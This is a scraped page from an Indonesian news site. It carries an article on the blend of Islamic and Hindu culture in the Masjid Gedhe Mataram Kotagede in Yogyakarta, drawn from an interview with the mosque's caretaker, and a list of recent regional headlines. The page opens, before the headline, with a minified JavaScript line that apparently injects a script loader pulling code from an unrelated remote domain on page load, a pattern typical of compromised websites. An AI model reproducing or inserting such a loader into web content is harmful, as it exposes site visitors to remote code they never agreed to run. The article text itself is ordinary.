(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Melihat Indahnya Akulturasi Islam Hindu di Masjid Gedhe Mataram Kotagede


KANALKALIMANTAN.COM, YOGYAKARTA – Berdirinya Masjid Gedhe Mataram Kotagede tak dimungkiri menyimpan sejumlah kisah dan makna filosofis pada setiap sudutnya. Salah satu yang menjadi perhatian adalah akulturasi budaya yang tercermin dalam bangunan masjid.

Akulturasi budaya di masjid yang berdiri pada era Mataram Islam tersebut bukan hanya isapan jempol saja. Hal itu terlihat khususnya dari gapura pintu masuk masjid, pagar hingga bangunan utama masjid itu sendiri.

Koordinator Urusan Rumah Tangga Masjid Gedhe Mataram Kotagede, Warisman tidak menampik memang akulturasi budaya itu nyata adanya.

Diceritakan Warisman, akulturasi budaya di dalam kompleks masjid itu berawal saat pembangunannya dulu kala.

 

Kompleks bangunan Masjid Gedhe Mataram Kotagede, Sabtu (24/4/2021). Foto: Hiskia Andika Weadcaksana/SuaraJogja.id

Tepatnya saat pertemuan Ki Ageng Pamanahan yang merupakan orangtua dari Kanjeng Panembahan Senopati dengan umat hindu di wilayah Prambanan saat perjalanan menuju ke Hutan Mentaok.

Baca juga: Patroli Dini Hari Ramadhan, Satpol PP HSU Dapati Remaja Diduga Mabuk

“Saat itu banyak etnis Hindu karena Prambanan dulunya bekas Mataram Hindu. Mereka (Ki Ageng Pamanahan dan Umat Hindu) berinteraksi lalu saling mengenal. Lalu akhirnya umat Hindu tersebut ingin ikut bersama Ki Ageng Pamanahan,” cerita Warisman saat ditemui di serambi Masjid Gedhe Mataram Kotagede, Sabtu (24/4/2021).

Dari pertemuan di Prambanan itulah, dua budaya melebur menjadi satu. Diketahui bahwa perjalanan Ki Ageng Pamanahan yang menuju Hutan Mentaok itu bukan tanpa alasan.

Ki Ageng Pamanahan berencana untuk membuka hutan tersebut sehingga dapat dijadikan permukiman. Awalnya hunian di Hutan Mentaok itu diberi nama Padukuhan Mataram tapi dengan berjalannya waktu semakin berkembang hingga menjadi Kasultanan Mataram Kotagede.

“Akhirnya orang-orang dari kelompok Muslim dan Hindu bekerja sama untuk membuka hutan ini dan setelah dijadikan hunian disebut Padukuhan Mataram,” ujarnya.

Baca juga: Balap Liar di Murjani Dibubarkan, Polres Banjarbaru Tilang 21 Motor

Warisman menyampaikan bahwa perkembangan hunian itu berbarengan dengan pembangunan masjid yang kini adalah Masjid Gedhe Mataram Kotagede ini.

Dalam pembangunan masjid itulah, umat Hindu yang tadi ikut bersama Ki Ageng Pamanahan sebelumnya juga terlibat dalam pembangunannya. Artinya memang pembangunan masjid ini tidak didominasi oleh orang-orang muslim saja.

“Karena orang-orang Hindu suka kerjasama. Pada saat itu juga kuat kerjasamanya orang Hindu dan Muslim,” imbuhnya.

Lebih lanjut, ketika Kanjeng Panembahan Senopati diperintahkan oleh Sunan Kalijaga untuk membangun masjidnya. Maka orang-orang Hindu tadi turut membantu untuk membangun pintu gerbang masjid tersebut.

Bahkan saat itu pembangunan pintu gerbang oleh orang-orang Hindu itu dibebaskan oleh Kanjeng Panembahan Senopati. Dalam artian dari segi estetika konstruksi secara keseluruhan.

“Memang konsep ini sudah dirancang oleh Sunan Kalijaga,” tambahnya.

Berkat pesan Sunan Kalijaga yang diteruskan kepada Kanjeng Panembahan Senopati itu juga, kata Warisman, terdapat banyak makna dan filosofi di dalam setiap sudut gerbang masjid itu. Sehingga memang semua itu tidak diperkenankan untuk diubah.

“Bahwa walaupun bangunan itu berupa Hindu, namun punya filosofi dan makna yang itu tidak boleh diubah hingga sekarang. Kecuali kalau roboh lalu diperbaiki. Akulturasi Islam dan Hindu saling kerjasama dalam membangun masjid,” ungkapnya.

Selain dengan kerjasama dan toleransi antar umat beragama saat itu, akulturasi dalam Masjid Gedhe Mataram Kotagede ini punya maksud atau tujuan lain.

Disebutkan Warisman bahwa kala itu penyampaian ajaran Islam atau syiar tidak bisa secara mudah diterima oleh masyarakat. Pasalnya kepercayaan masyarakat yang mayoritas saat itu adalah animisme dan dinamisme juga berperan.

Baca juga: Balap Liar di Murjani Dibubarkan, Polres Banjarbaru Tilang 21 Motor

Maka dipilihlah simbol dan gambar-gambar di sekitar kompleks masjid itu menjadi salah satu cara mengenalkan ajaran Islam. Jika sebelumnya syiar itu telah digunakan oleh Sunan Kalijaga maka Padukuhan Mataram turut mengadaptasi cara tersebut.

“Bentuk yang ada di masjid ini sebagai simbol untuk mengajarkan agama Islam tempo dulu. Karena dulu kalau mengajarkan Islam dengan dalil Qur’an dan hadist susah diterima tapi karena dengan simbol kaitannya animisme maka lebih mudah diterima,” terangnya.

Kendati begitu berbagai macam simbol yang ada itu tetap diambil dari Qur’an dan hadist. Perkembangan zaman membuat bangunan masjid pun ikut berkembang.

Awalnya hanya bangunan sederhana lalu bertambah dengan keberadaan serambi hingga halaman masjid yang cukup luas. Sermabi masjid pun terus berkembang pesat termasuk pada tahun 1611 atau dalam era Sultan Agung.

Tidak hanya bangunan masjid atau gapura saja yang sudah berusia sangat tua. Namun bedug Masjid Gedhe Mataram Kotagede pun juga sudah berusia ratusan tahun.

Bedug itu dibuat oleh Sunan Kalijaga dengan memanfaatkan kayu dari pohon besar yang ditemuinya saat perjalanan melewati wilayah Kulon Progo.

Tertarik dengan kayu dari pohon tersebut Sunan Kalijaga akhirnya memutuskan untuk meminta untuk diantar guna membuat kerangka bedug.

“Kayunya (bedug) itu didapat saat Sunan Kalijaga mengembara dan lewat daerah Kulon Progo. Saat perjalanan lihat pohon besar yang diketahui milik Kyai Pringgit atau Nyai Brintik. Lalu akhirnya diminta untuk kayu tersebut diantar ke Mataram untuk dibuat kerangka bedug,” tandasnya.

Bahkan kata Warisman, bedug tersebut lebih tua daripada serambi masjid itu sendiri. Selisih sedikit dengan usia pembangunan Masjid Gedhe Mataram Kotagede.

“Karena dulu tidak dicatat tahun-tahunnya sehingga usianya tidak jelas. Yang jelas setelah masjidnya ada baru tidak lama bedug itu ada. Ya sekitar 434 tahun,” pungkasnya. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

16 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

20 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

22 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

23 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

23 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.